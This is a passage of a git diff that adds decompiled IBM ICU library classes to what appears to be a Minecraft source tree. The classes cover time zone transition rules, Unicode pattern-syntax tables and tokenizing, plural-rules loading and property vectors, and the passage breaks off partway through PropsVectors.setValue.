+              historicRules = new TimeArrayTimeZoneRule[typeCount];
+            }
+            historicRules[typeIdx] = new TimeArrayTimeZoneRule(dst == 0 ? stdName : dstName, raw, dst, startTimes, 2);
+          }
+        }
+        
+
+
+        typeIdx = getInt(typeMapData[firstTZTransitionIdx]);
+        firstTZTransition = new TimeZoneTransition(transitionTimes64[firstTZTransitionIdx] * 1000L, initialRule, historicRules[typeIdx]);
+      }
+    }
+    
+
+
+    if (finalZone != null)
+    {
+      long startTime = finalStartMillis;
+      TimeZoneRule firstFinalRule;
+      if (finalZone.useDaylightTime())
+      {
+
+
+
+
+
+
+
+        finalZoneWithStartYear = ((SimpleTimeZone)finalZone.clone());
+        finalZoneWithStartYear.setStartYear(finalStartYear);
+        
+        TimeZoneTransition tzt = finalZoneWithStartYear.getNextTransition(startTime, false);
+        TimeZoneRule firstFinalRule = tzt.getTo();
+        startTime = tzt.getTime();
+      } else {
+        finalZoneWithStartYear = finalZone;
+        firstFinalRule = new TimeArrayTimeZoneRule(finalZone.getID(), finalZone.getRawOffset(), 0, new long[] { startTime }, 2);
+      }
+      
+      TimeZoneRule prevRule = null;
+      if (transitionCount > 0) {
+        prevRule = historicRules[getInt(typeMapData[(transitionCount - 1)])];
+      }
+      if (prevRule == null)
+      {
+        prevRule = initialRule;
+      }
+      firstFinalTZTransition = new TimeZoneTransition(startTime, prevRule, firstFinalRule);
+    }
+    
+    transitionRulesInitialized = true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private int serialVersionOnStream = 1;
+  
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
+    stream.defaultReadObject();
+    
+    if (serialVersionOnStream < 1)
+    {
+
+      boolean initialized = false;
+      String tzid = getID();
+      if (tzid != null) {
+        try {
+          UResourceBundle top = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "zoneinfo64", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+          
+          UResourceBundle res = ZoneMeta.openOlsonResource(top, tzid);
+          construct(top, res);
+          if (finalZone != null) {
+            finalZone.setID(tzid);
+          }
+          initialized = true;
+        }
+        catch (Exception e) {}
+      }
+      
+      if (!initialized)
+      {
+        constructEmpty();
+      }
+    }
+    
+
+    transitionRulesInitialized = false;
+  }
+  
+
+  private transient boolean isFrozen = false;
+  
+
+
+  public boolean isFrozen()
+  {
+    return isFrozen;
+  }
+  
+
+
+  public TimeZone freeze()
+  {
+    isFrozen = true;
+    return this;
+  }
+  
+
+
+  public TimeZone cloneAsThawed()
+  {
+    OlsonTimeZone tz = (OlsonTimeZone)super.cloneAsThawed();
+    if (finalZone != null)
+    {
+      finalZone.setID(getID());
+      finalZone = ((SimpleTimeZone)finalZone.clone());
+    }
+    
+
+
+
+
+
+
+
+    isFrozen = false;
+    return tz;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/PVecToTrieCompactHandler.java b/src/minecraft/com/ibm/icu/impl/PVecToTrieCompactHandler.java
new file mode 100644
index 0000000..82cf50c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/PVecToTrieCompactHandler.java
@@ -0,0 +1,38 @@
+package com.ibm.icu.impl;
+
+
+
+public class PVecToTrieCompactHandler
+  implements PropsVectors.CompactHandler
+{
+  public IntTrieBuilder builder;
+  
+
+  public int initialValue;
+  
+
+
+  public PVecToTrieCompactHandler() {}
+  
+
+
+  public void setRowIndexForErrorValue(int rowIndex) {}
+  
+
+  public void setRowIndexForInitialValue(int rowIndex)
+  {
+    initialValue = rowIndex;
+  }
+  
+  public void setRowIndexForRange(int start, int end, int rowIndex) {
+    builder.setRange(start, end + 1, rowIndex, true);
+  }
+  
+  public void startRealValues(int rowIndex) {
+    if (rowIndex > 65535)
+    {
+      throw new IndexOutOfBoundsException();
+    }
+    builder = new IntTrieBuilder(null, 100000, initialValue, initialValue, false);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/PatternProps.java b/src/minecraft/com/ibm/icu/impl/PatternProps.java
new file mode 100644
index 0000000..30e819d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/PatternProps.java
@@ -0,0 +1,253 @@
+package com.ibm.icu.impl;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PatternProps
+{
+  public PatternProps() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isSyntax(int c)
+  {
+    if (c < 0)
+      return false;
+    if (c <= 255)
+      return latin1[c] == 3;
+    if (c < 8208)
+      return false;
+    if (c <= 12336) {
+      int bits = syntax2000[index2000[(c - 8192 >> 5)]];
+      return (bits >> (c & 0x1F) & 0x1) != 0; }
+    if ((64830 <= c) && (c <= 65094)) {
+      return (c <= 64831) || (65093 <= c);
+    }
+    return false;
+  }
+  
+
+
+
+  public static boolean isSyntaxOrWhiteSpace(int c)
+  {
+    if (c < 0)
+      return false;
+    if (c <= 255)
+      return latin1[c] != 0;
+    if (c < 8206)
+      return false;
+    if (c <= 12336) {
+      int bits = syntaxOrWhiteSpace2000[index2000[(c - 8192 >> 5)]];
+      return (bits >> (c & 0x1F) & 0x1) != 0; }
+    if ((64830 <= c) && (c <= 65094)) {
+      return (c <= 64831) || (65093 <= c);
+    }
+    return false;
+  }
+  
+
+
+
+  public static boolean isWhiteSpace(int c)
+  {
+    if (c < 0)
+      return false;
+    if (c <= 255)
+      return latin1[c] == 5;
+    if ((8206 <= c) && (c <= 8233)) {
+      return (c <= 8207) || (8232 <= c);
+    }
+    return false;
+  }
+  
+
+
+
+
+  public static int skipWhiteSpace(CharSequence s, int i)
+  {
+    while ((i < s.length()) && (isWhiteSpace(s.charAt(i)))) {
+      i++;
+    }
+    return i;
+  }
+  
+
+
+  public static String trimWhiteSpace(String s)
+  {
+    if ((s.length() == 0) || ((!isWhiteSpace(s.charAt(0))) && (!isWhiteSpace(s.charAt(s.length() - 1))))) {
+      return s;
+    }
+    int start = 0;
+    int limit = s.length();
+    while ((start < limit) && (isWhiteSpace(s.charAt(start)))) {
+      start++;
+    }
+    if (start < limit)
+    {
+
+      while (isWhiteSpace(s.charAt(limit - 1))) {
+        limit--;
+      }
+    }
+    return s.substring(start, limit);
+  }
+  
+
+
+
+
+  public static boolean isIdentifier(CharSequence s)
+  {
+    int limit = s.length();
+    if (limit == 0) {
+      return false;
+    }
+    int start = 0;
+    do {
+      if (isSyntaxOrWhiteSpace(s.charAt(start++))) {
+        return false;
+      }
+    } while (start < limit);
+    return true;
+  }
+  
+
+
+
+
+
+  public static boolean isIdentifier(CharSequence s, int start, int limit)
+  {
+    if (start >= limit) {
+      return false;
+    }
+    do {
+      if (isSyntaxOrWhiteSpace(s.charAt(start++))) {
+        return false;
+      }
+    } while (start < limit);
+    return true;
+  }
+  
+
+
+
+
+  public static int skipIdentifier(CharSequence s, int i)
+  {
+    while ((i < s.length()) && (!isSyntaxOrWhiteSpace(s.charAt(i)))) {
+      i++;
+    }
+    return i;
+  }
+  
+
+
+
+
+
+
+
+  private static final byte[] latin1 = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 3, 3, 3, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 3, 3, 3, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 3, 3, 3, 3, 3, 3, 0, 3, 0, 3, 3, 0, 3, 0, 3, 3, 0, 0, 0, 0, 3, 0, 0, 0, 0, 3, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final byte[] index2000 = { 2, 3, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, 7, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 9 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] syntax2000 = { 0, -1, -65536, 2147418367, 2146435070, -65536, 4194303, -1048576, 65294, 65537 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] syntaxOrWhiteSpace2000 = { 0, -1, 49152, 2147419135, 2146435070, -65536, 4194303, -1048576, 65294, 65537 };
+}
diff --git a/src/minecraft/com/ibm/icu/impl/PatternTokenizer.java b/src/minecraft/com/ibm/icu/impl/PatternTokenizer.java
new file mode 100644
index 0000000..ed268a1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/PatternTokenizer.java
@@ -0,0 +1,387 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import com.ibm.icu.text.UnicodeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PatternTokenizer
+{
+  private UnicodeSet ignorableCharacters = new UnicodeSet();
+  private UnicodeSet syntaxCharacters = new UnicodeSet();
+  private UnicodeSet extraQuotingCharacters = new UnicodeSet();
+  private UnicodeSet escapeCharacters = new UnicodeSet();
+  private boolean usingSlash = false;
+  private boolean usingQuote = false;
+  
+
+  private transient UnicodeSet needingQuoteCharacters = null;
+  private int start;
+  private int limit;
+  
+  public PatternTokenizer() {}
+  
+  public UnicodeSet getIgnorableCharacters()
+  {
+    return (UnicodeSet)ignorableCharacters.clone();
+  }
+  
+
+
+
+  public PatternTokenizer setIgnorableCharacters(UnicodeSet ignorableCharacters)
+  {
+    this.ignorableCharacters = ((UnicodeSet)ignorableCharacters.clone());
+    needingQuoteCharacters = null;
+    return this;
+  }
+  
+  public UnicodeSet getSyntaxCharacters() { return (UnicodeSet)syntaxCharacters.clone(); }
+  
+  public UnicodeSet getExtraQuotingCharacters() {
+    return (UnicodeSet)extraQuotingCharacters.clone();
+  }
+  
+
+
+
+  public PatternTokenizer setSyntaxCharacters(UnicodeSet syntaxCharacters)
+  {
+    this.syntaxCharacters = ((UnicodeSet)syntaxCharacters.clone());
+    needingQuoteCharacters = null;
+    return this;
+  }
+  
+
+
+
+  public PatternTokenizer setExtraQuotingCharacters(UnicodeSet syntaxCharacters)
+  {
+    extraQuotingCharacters = ((UnicodeSet)syntaxCharacters.clone());
+    needingQuoteCharacters = null;
+    return this;
+  }
+  
+  public UnicodeSet getEscapeCharacters() {
+    return (UnicodeSet)escapeCharacters.clone();
+  }
+  
+
+
+
+  public PatternTokenizer setEscapeCharacters(UnicodeSet escapeCharacters)
+  {
+    this.escapeCharacters = ((UnicodeSet)escapeCharacters.clone());
+    return this;
+  }
+  
+  public boolean isUsingQuote() { return usingQuote; }
+  
+  public PatternTokenizer setUsingQuote(boolean usingQuote) {
+    this.usingQuote = usingQuote;
+    needingQuoteCharacters = null;
+    return this;
+  }
+  
+  public boolean isUsingSlash() { return usingSlash; }
+  
+  public PatternTokenizer setUsingSlash(boolean usingSlash) {
+    this.usingSlash = usingSlash;
+    needingQuoteCharacters = null;
+    return this;
+  }
+  
+
+  private String pattern;
+  
+  public static final char SINGLE_QUOTE = '\'';
+  
+  public static final char BACK_SLASH = '\\';
+  public int getLimit()
+  {
+    return limit; }
+  
+  public PatternTokenizer setLimit(int limit) {
+    this.limit = limit;
+    return this;
+  }
+  
+  public int getStart() { return start; }
+  
+  public PatternTokenizer setStart(int start) {
+    this.start = start;
+    return this;
+  }
+  
+  public PatternTokenizer setPattern(CharSequence pattern) {
+    return setPattern(pattern.toString());
+  }
+  
+  public PatternTokenizer setPattern(String pattern) {
+    if (pattern == null) {
+      throw new IllegalArgumentException("Inconsistent arguments");
+    }
+    start = 0;
+    limit = pattern.length();
+    this.pattern = pattern;
+    return this;
+  }
+  
+
+
+  private static int NO_QUOTE = -1; private static int IN_QUOTE = -2;
+  public static final int DONE = 0;
+  
+  public String quoteLiteral(CharSequence string) { return quoteLiteral(string.toString()); }
+  
+  public static final int SYNTAX = 1;
+  public static final int LITERAL = 2;
+  public static final int BROKEN_QUOTE = 3;
+  public static final int BROKEN_ESCAPE = 4;
+  public static final int UNKNOWN = 5;
+  private static final int AFTER_QUOTE = -1;
+  
+  public String quoteLiteral(String string) { if (needingQuoteCharacters == null) {
+      needingQuoteCharacters = new UnicodeSet().addAll(syntaxCharacters).addAll(ignorableCharacters).addAll(extraQuotingCharacters);
+      if (usingSlash) needingQuoteCharacters.add(92);
+      if (usingQuote) needingQuoteCharacters.add(39);
+    }
+    StringBuffer result = new StringBuffer();
+    int quotedChar = NO_QUOTE;
+    int cp;
+    for (int i = 0; i < string.length(); i += UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(string, i);
+      if (escapeCharacters.contains(cp))
+      {
+        if (quotedChar == IN_QUOTE) {
+          result.append('\'');
+          quotedChar = NO_QUOTE;
+        }
+        appendEscaped(result, cp);
+
+
+      }
+      else if (needingQuoteCharacters.contains(cp))
+      {
+        if (quotedChar == IN_QUOTE) {
+          UTF16.append(result, cp);
+          if ((usingQuote) && (cp == 39)) {
+            result.append('\'');
+          }
+          
+
+        }
+        else if (usingSlash) {
+          result.append('\\');
+          UTF16.append(result, cp);
+
+        }
+        else if (usingQuote) {
+          if (cp == 39) {
+            result.append('\'');
+            result.append('\'');
+          }
+          else {
+            result.append('\'');
+            UTF16.append(result, cp);
+            quotedChar = IN_QUOTE;
+          }
+        }
+        else {
+          appendEscaped(result, cp);
+        }
+      }
+      else
+      {
+        if (quotedChar == IN_QUOTE) {
+          result.append('\'');
+          quotedChar = NO_QUOTE;
+        }
+        UTF16.append(result, cp);
+      }
+    }
+    
+    if (quotedChar == IN_QUOTE) {
+      result.append('\'');
+    }
+    return result.toString();
+  }
+  
+  private void appendEscaped(StringBuffer result, int cp) {
+    if (cp <= 65535) {
+      result.append("\\u").append(Utility.hex(cp, 4));
+    } else {
+      result.append("\\U").append(Utility.hex(cp, 8));
+    }
+  }
+  
+  public String normalize() {
+    int oldStart = start;
+    StringBuffer result = new StringBuffer();
+    StringBuffer buffer = new StringBuffer();
+    for (;;) {
+      buffer.setLength(0);
+      int status = next(buffer);
+      if (status == 0) {
+        start = oldStart;
+        return result.toString();
+      }
+      if (status != 1) {
+        result.append(quoteLiteral(buffer));
+      } else
+        result.append(buffer);
+    }
+  }
+  
+  private static final int NONE = 0;
+  private static final int START_QUOTE = 1;
+  private static final int NORMAL_QUOTE = 2;
+  private static final int SLASH_START = 3;
+  private static final int HEX = 4;
+  public int next(StringBuffer buffer) {
+    if (start >= limit) return 0;
+    int status = 5;
+    int lastQuote = 5;
+    int quoteStatus = 0;
+    int hexCount = 0;
+    int hexValue = 0;
+    
+    int cp;
+    for (int i = start; i < limit; i += UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(pattern, i);
+      
+      switch (quoteStatus) {
+      case 3: 
+        switch (cp) {
+        case 117: 
+          quoteStatus = 4;
+          hexCount = 4;
+          hexValue = 0;
+          break;
+        case 85: 
+          quoteStatus = 4;
+          hexCount = 8;
+          hexValue = 0;
+          break;
+        default: 
+          if (usingSlash) {
+            UTF16.append(buffer, cp);
+            quoteStatus = 0;
+            continue;
+          }
+          buffer.append('\\');
+          quoteStatus = 0;
+        }
+        
+        break;
+      case 4: 
+        hexValue <<= 4;
+        hexValue += cp;
+        switch (cp) {
+        case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: 
+          hexValue -= 48; break;
+        case 97: case 98: case 99: case 100: case 101: case 102: 
+          hexValue -= 87; break;
+        case 65: case 66: case 67: case 68: case 69: case 70: 
+          hexValue -= 55; break;
+        case 58: case 59: case 60: case 61: case 62: case 63: case 64: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: case 91: case 92: case 93: case 94: case 95: case 96: default: 
+          start = i;
+          return 4;
+        }
+        hexCount--;
+        if (hexCount != 0) continue;
+        quoteStatus = 0;
+        UTF16.append(buffer, hexValue); break;
+      
+
+
+
+      case -1: 
+        if (cp == lastQuote) {
+          UTF16.append(buffer, cp);
+          quoteStatus = 2;
+          continue;
+        }
+        quoteStatus = 0;
+        break;
+      
+      case 1: 
+        if (cp == lastQuote) {
+          UTF16.append(buffer, cp);
+          quoteStatus = 0;
+        }
+        else
+        {
+          UTF16.append(buffer, cp);
+          quoteStatus = 2; }
+        break;
+      case 2: 
+        if (cp == lastQuote) {
+          quoteStatus = -1;
+        }
+        else
+          UTF16.append(buffer, cp);
+        break;
+      }
+      
+      if (!ignorableCharacters.contains(cp))
+      {
+
+
+        if (syntaxCharacters.contains(cp)) {
+          if (status == 5) {
+            UTF16.append(buffer, cp);
+            start = (i + UTF16.getCharCount(cp));
+            return 1;
+          }
+          start = i;
+          return status;
+        }
+        
+
+        status = 2;
+        if (cp == 92) {
+          quoteStatus = 3;
+        }
+        else if ((usingQuote) && (cp == 39)) {
+          lastQuote = cp;
+          quoteStatus = 1;
+        }
+        else
+        {
+          UTF16.append(buffer, cp);
+        }
+      } }
+    start = limit;
+    switch (quoteStatus) {
+    case 4: 
+      status = 4;
+      break;
+    case 3: 
+      if (usingSlash) {
+        status = 4;
+      } else {
+        buffer.append('\\');
+      }
+      break;
+    case 1: case 2: 
+      status = 3;
+    }
+    
+    return status;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/PluralRulesLoader.java b/src/minecraft/com/ibm/icu/impl/PluralRulesLoader.java
new file mode 100644
index 0000000..b7924bd
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/PluralRulesLoader.java
@@ -0,0 +1,248 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.PluralRules;
+import com.ibm.icu.text.PluralRules.PluralType;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.text.ParseException;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.MissingResourceException;
+import java.util.Set;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PluralRulesLoader
+{
+  private final Map<String, PluralRules> rulesIdToRules;
+  private Map<String, String> localeIdToCardinalRulesId;
+  private Map<String, String> localeIdToOrdinalRulesId;
+  private Map<String, ULocale> rulesIdToEquivalentULocale;
+  
+  private PluralRulesLoader()
+  {
+    rulesIdToRules = new HashMap();
+  }
+  
+
+
+  public ULocale[] getAvailableULocales()
+  {
+    Set<String> keys = getLocaleIdToRulesIdMap(PluralRules.PluralType.CARDINAL).keySet();
+    ULocale[] locales = new ULocale[keys.size()];
+    int n = 0;
+    for (Iterator<String> iter = keys.iterator(); iter.hasNext();) {
+      locales[(n++)] = ULocale.createCanonical((String)iter.next());
+    }
+    return locales;
+  }
+  
+
+
+  public ULocale getFunctionalEquivalent(ULocale locale, boolean[] isAvailable)
+  {
+    if ((isAvailable != null) && (isAvailable.length > 0)) {
+      String localeId = ULocale.canonicalize(locale.getBaseName());
+      Map<String, String> idMap = getLocaleIdToRulesIdMap(PluralRules.PluralType.CARDINAL);
+      isAvailable[0] = idMap.containsKey(localeId);
+    }
+    
+    String rulesId = getRulesIdForLocale(locale, PluralRules.PluralType.CARDINAL);
+    if ((rulesId == null) || (rulesId.trim().length() == 0)) {
+      return ULocale.ROOT;
+    }
+    
+    ULocale result = (ULocale)getRulesIdToEquivalentULocaleMap().get(rulesId);
+    
+    if (result == null) {
+      return ULocale.ROOT;
+    }
+    
+    return result;
+  }
+  
+
+
+  private Map<String, String> getLocaleIdToRulesIdMap(PluralRules.PluralType type)
+  {
+    checkBuildRulesIdMaps();
+    return type == PluralRules.PluralType.CARDINAL ? localeIdToCardinalRulesId : localeIdToOrdinalRulesId;
+  }
+  
+
+
+  private Map<String, ULocale> getRulesIdToEquivalentULocaleMap()
+  {
+    checkBuildRulesIdMaps();
+    return rulesIdToEquivalentULocale;
+  }
+  
+
+
+  private void checkBuildRulesIdMaps()
+  {
+    boolean haveMap;
+    
+
+    synchronized (this) {
+      haveMap = localeIdToCardinalRulesId != null;
+    }
+    if (!haveMap) {
+      Map<String, String> tempLocaleIdToCardinalRulesId;
+      Map<String, ULocale> tempRulesIdToEquivalentULocale;
+      Object tempLocaleIdToOrdinalRulesId;
+      try {
+        UResourceBundle pluralb = getPluralBundle();
+        
+        UResourceBundle localeb = pluralb.get("locales");
+        
+
+        tempLocaleIdToCardinalRulesId = new TreeMap();
+        
+        tempRulesIdToEquivalentULocale = new HashMap();
+        
+        for (int i = 0; i < localeb.getSize(); i++) {
+          UResourceBundle b = localeb.get(i);
+          String id = b.getKey();
+          String value = b.getString().intern();
+          tempLocaleIdToCardinalRulesId.put(id, value);
+          
+          if (!tempRulesIdToEquivalentULocale.containsKey(value)) {
+            tempRulesIdToEquivalentULocale.put(value, new ULocale(id));
+          }
+        }
+        
+
+        localeb = pluralb.get("locales_ordinals");
+        tempLocaleIdToOrdinalRulesId = new TreeMap();
+        for (int i = 0; i < localeb.getSize(); i++) {
+          UResourceBundle b = localeb.get(i);
+          String id = b.getKey();
+          String value = b.getString().intern();
+          ((Map)tempLocaleIdToOrdinalRulesId).put(id, value);
+        }
+      }
+      catch (MissingResourceException e) {
+        tempLocaleIdToCardinalRulesId = Collections.emptyMap();
+        tempLocaleIdToOrdinalRulesId = Collections.emptyMap();
+        tempRulesIdToEquivalentULocale = Collections.emptyMap();
+      }
+      
+      synchronized (this) {
+        if (localeIdToCardinalRulesId == null) {
+          localeIdToCardinalRulesId = tempLocaleIdToCardinalRulesId;
+          localeIdToOrdinalRulesId = ((Map)tempLocaleIdToOrdinalRulesId);
+          rulesIdToEquivalentULocale = tempRulesIdToEquivalentULocale;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public String getRulesIdForLocale(ULocale locale, PluralRules.PluralType type)
+  {
+    Map<String, String> idMap = getLocaleIdToRulesIdMap(type);
+    String localeId = ULocale.canonicalize(locale.getBaseName());
+    String rulesId = null;
+    while (null == (rulesId = (String)idMap.get(localeId))) {
+      int ix = localeId.lastIndexOf("_");
+      if (ix == -1) {
+        break;
+      }
+      localeId = localeId.substring(0, ix);
+    }
+    return rulesId;
+  }
+  
+
+
+
+
+  public PluralRules getRulesForRulesId(String rulesId)
+  {
+    PluralRules rules = null;
+    boolean hasRules;
+    synchronized (rulesIdToRules) {
+      hasRules = rulesIdToRules.containsKey(rulesId);
+      if (hasRules) {
+        rules = (PluralRules)rulesIdToRules.get(rulesId);
+      }
+    }
+    if (!hasRules) {
+      try {
+        UResourceBundle pluralb = getPluralBundle();
+        UResourceBundle rulesb = pluralb.get("rules");
+        UResourceBundle setb = rulesb.get(rulesId);
+        
+        StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < setb.getSize(); i++) {
+          UResourceBundle b = setb.get(i);
+          if (i > 0) {
+            sb.append("; ");
+          }
+          sb.append(b.getKey());
+          sb.append(": ");
+          sb.append(b.getString());
+        }
+        rules = PluralRules.parseDescription(sb.toString());
+      }
+      catch (ParseException e) {}catch (MissingResourceException e) {}
+      
+      synchronized (rulesIdToRules) {
+        if (rulesIdToRules.containsKey(rulesId)) {
+          rules = (PluralRules)rulesIdToRules.get(rulesId);
+        } else {
+          rulesIdToRules.put(rulesId, rules);
+        }
+      }
+    }
+    return rules;
+  }
+  
+
+
+  public UResourceBundle getPluralBundle()
+    throws MissingResourceException
+  {
+    return ICUResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "plurals", ICUResourceBundle.ICU_DATA_CLASS_LOADER, true);
+  }
+  
+
+
+
+
+
+  public PluralRules forLocale(ULocale locale, PluralRules.PluralType type)
+  {
+    String rulesId = getRulesIdForLocale(locale, type);
+    if ((rulesId == null) || (rulesId.trim().length() == 0)) {
+      return PluralRules.DEFAULT;
+    }
+    PluralRules rules = getRulesForRulesId(rulesId);
+    if (rules == null) {
+      rules = PluralRules.DEFAULT;
+    }
+    return rules;
+  }
+  
+
+
+
+  public static final PluralRulesLoader loader = new PluralRulesLoader();
+}
diff --git a/src/minecraft/com/ibm/icu/impl/PropsVectors.java b/src/minecraft/com/ibm/icu/impl/PropsVectors.java
new file mode 100644
index 0000000..fe2a83b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/PropsVectors.java
@@ -0,0 +1,563 @@
+package com.ibm.icu.impl;
+
+import java.util.Arrays;
+import java.util.Comparator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PropsVectors
+{
+  private int[] v;
+  private int columns;
+  private int maxRows;
+  private int rows;
+  private int prevRow;
+  private boolean isCompacted;
+  public static final int FIRST_SPECIAL_CP = 1114112;
+  public static final int INITIAL_VALUE_CP = 1114112;
+  public static final int ERROR_VALUE_CP = 1114113;
+  public static final int MAX_CP = 1114113;
+  public static final int INITIAL_ROWS = 4096;
+  public static final int MEDIUM_ROWS = 65536;
+  public static final int MAX_ROWS = 1114114;
+  
+  private boolean areElementsSame(int index1, int[] target, int index2, int length)
+  {
+    for (int i = 0; i < length; i++) {
+      if (v[(index1 + i)] != target[(index2 + i)]) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  private int findRow(int rangeStart)
+  {
+    int index = 0;
+    
+
+
+
+    index = prevRow * columns;
+    if (rangeStart >= v[index]) {
+      if (rangeStart < v[(index + 1)])
+      {
+        return index;
+      }
+      index += columns;
+      if (rangeStart < v[(index + 1)]) {
+        prevRow += 1;
+        return index;
+      }
+      index += columns;
+      if (rangeStart < v[(index + 1)]) {
+        prevRow += 2;
+        return index; }
+      if (rangeStart - v[(index + 1)] < 10)
+      {
+        prevRow += 2;
+        do {
+          prevRow += 1;
+          index += columns;
+        } while (rangeStart >= v[(index + 1)]);
+        return index;
+      }
+      
+    }
+    else if (rangeStart < v[1])
+    {
+      prevRow = 0;
+      return 0;
+    }
+    
+
+    int start = 0;
+    int mid = 0;
+    int limit = rows;
+    while (start < limit - 1) {
+      mid = (start + limit) / 2;
+      index = columns * mid;
+      if (rangeStart < v[index]) {
+        limit = mid;
+      } else { if (rangeStart < v[(index + 1)]) {
+          prevRow = mid;
+          return index;
+        }
+        start = mid;
+      }
+    }
+    
+
+
+    prevRow = start;
+    index = start * columns;
+    return index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public PropsVectors(int numOfColumns)
+  {
+    if (numOfColumns < 1) {
+      throw new IllegalArgumentException("numOfColumns need to be no less than 1; but it is " + numOfColumns);
+    }
+    
+    columns = (numOfColumns + 2);
+    v = new int[4096 * columns];
+    maxRows = 4096;
+    rows = 3;
+    prevRow = 0;
+    isCompacted = false;
+    v[0] = 0;
+    v[1] = 1114112;
+    int index = columns;
+    for (int cp = 1114112; cp <= 1114113; cp++) {
+      v[index] = cp;
+      v[(index + 1)] = (cp + 1);
+      index += columns;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setValue(int start, int end, int column, int value, int mask)
+  {
+    if ((start < 0) || (start > end) || (end > 1114113) || (column < 0) || (column >= columns - 2))
+    {
+      throw new IllegalArgumentException();
+    }
+    if (isCompacted) {
+      throw new IllegalStateException("Shouldn't be called aftercompact()!");
+    }
+    
+
+
+    int limit = end + 1;
+    
+
+    column += 2;
+    value &= mask;
+    
+
+
+    int firstRow = findRow(start);
+    int lastRow = findRow(end);
+    
+
+
+
+
+
+    boolean splitFirstRow = (start != v[firstRow]) && (value != (v[(firstRow + column)] & mask));
+    boolean splitLastRow = (limit != v[(lastRow + 1)]) && (value != (v[(lastRow + column)] & mask));
+    
+
+    if ((splitFirstRow) || (splitLastRow)) {
+      int rowsToExpand = 0;
+      if (splitFirstRow) {
+        rowsToExpand++;
+      }
+      if (splitLastRow) {
+        rowsToExpand++;
+      }
+      int newMaxRows = 0;
+      if (rows + rowsToExpand > maxRows) {
+        if (maxRows < 65536) {
+          newMaxRows = 65536;
+        } else if (maxRows < 1114114) {
+          newMaxRows = 1114114;
+        } else {
+          throw new IndexOutOfBoundsException("MAX_ROWS exceeded! Increase it to a higher valuein the implementation");
+        }
+        
+
+        int[] temp = new int[newMaxRows * columns];
+        System.arraycopy(v, 0, temp, 0, rows * columns);
+        v = temp;
+        maxRows = newMaxRows;
+      }
+      
+
